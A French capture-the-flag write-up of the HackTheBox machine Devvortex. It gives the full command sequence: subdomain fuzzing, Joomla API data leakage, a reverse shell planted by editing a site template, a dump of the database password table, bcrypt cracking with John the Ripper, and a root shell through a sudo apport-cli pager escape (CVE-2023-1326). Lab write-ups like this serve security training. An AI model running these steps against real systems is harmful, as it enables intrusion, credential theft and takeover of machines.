DEVVORTEX

HackTheBox : Devvortex — Write-Up de la machine

Un walkthrough technique complet détaillant la compromission de la machine Devvortex sur HackTheBox. Ce parcours illustre le fuzzing de sous-domaines, l'énumération de l'API Joomla, la modification de template pour l'accès initial, l'extraction et le cassage de hash de base de données pour le mouvement latéral, et l'exploitation d'Apport-CLI (CVE-2023-1326) pour l'élévation de privilèges vers root.

Résumé exécutif

• OS cible : Linux
• Difficulté : Facile
• Domaine : devvortex.htb
• Sous-domaine : dev.devvortex.htb
• Concepts clés : Énumération de sous-domaines, exploitation du CMS Joomla, divulgation d'informations, cassage de hash Bcrypt, abus de Sudo (apport-cli).

1. Reconnaissance et énumération

Scan de ports (Nmap)

Une découverte rapide initiale des ports TCP a été effectuée sur tous les ports :

nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>

Un scan ultérieur de détection de services et de versions a été exécuté contre les ports ouverts identifiés :

Bash

nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>

Configuration du fichier hosts

Ajoutez le domaine cible de base à votre table de résolution de noms locale :

Bash

sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb

Découverte de sous-domaines (FFUF)

Fuzzing des hôtes virtuels pour identifier des ressources web supplémentaires :

Bash

ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ

Résultat : Découverte de dev.devvortex.htb. Ajout de dev.devvortex.htb dans /etc/hosts.

Fuzzing de répertoires

Énumération des routes sur l'hôte virtuel nouvellement découvert :

Bash

ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ

Résultat : Découverte du point de terminaison /administrator, exposant un portail d'authentification administrateur Joomla.

2. Accès initial (Foothold)

Fuite d'informations via l'API Joomla

Sondage des points de terminaison publics exposés par l'API REST de Joomla pour recueillir des métriques applicatives sensibles et des utilisateurs :

Bash

curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)

Injection de web shell via les templates du site

À l'aide des identifiants découverts lors de l'énumération, connectez-vous au portail /administrator de Joomla :

1. Naviguez vers System > Site Templates.

2. Sélectionnez le template actif et ouvrez error.php.

3. Remplacez le contenu de error.php par une charge utile standard de reverse shell PHP.

Initialisez un listener netcat local :

Bash

nc -lvnp 4444

Déclenchez l'exécution de error.php en demandant une page inexistante ou en accédant directement au fichier.

Stabilisation du shell TTY

Une fois le shell connecté en tant que www-data, lancez une session PTY interactive :

Bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

3. Mouvement latéral (Logan)

Énumération de la base de données

Accédez à la base de données MySQL locale à l'aide des identifiants récupérés dans les fichiers de configuration web :

Bash

mysql -u lewis -p

Interrogez la table des utilisateurs pour localiser les hash d'identifiants stockés :

SQL

SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;

Cassage de mot de passe hors ligne

Extrayez le hash de mot de passe bcrypt de l'utilisateur logan dans un fichier local :

Bash

nano hash.txt

Cassez le hash à l'aide de John the Ripper avec rockyou.txt :

Bash

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Authentification via SSH

Établissez une session SSH persistante en tant qu'utilisateur logan avec les identifiants cassés :

Bash

ssh [email protected]

Flag utilisateur

Bash

cat user.txt

4. Élévation de privilèges

Audit des privilèges Sudo

Inspectez les binaires autorisés pour l'utilisateur logan :

Bash

sudo -l

Sortie : L'utilisateur peut exécuter /usr/bin/apport-cli en tant que root.

Exploitation d'Apport-CLI (CVE-2023-1326)

Vérifiez la version installée d'apport-cli :

Bash

apport-cli --version

Inspectez /var/crash pour les fichiers de rapport existants. S'il est vide, créez manuellement un fichier de crash :

Bash

echo "ProblemType: Crash" > /var/crash/.crash

Lancez apport-cli contre le fichier de crash créé en utilisant sudo :

Bash

sudo /usr/bin/apport-cli -c /var/crash/.crash

1. Appuyez sur v pour View report.

2. Lorsque le paginateur (less) charge le contenu, échappez vers un shell système en saisissant :

Plaintext

!/bin/bash

5. Consolidation du système

Vérifiez l'élévation root :

Bash

whoami
# Output: root

Flag root

Bash

cat /root/root.txt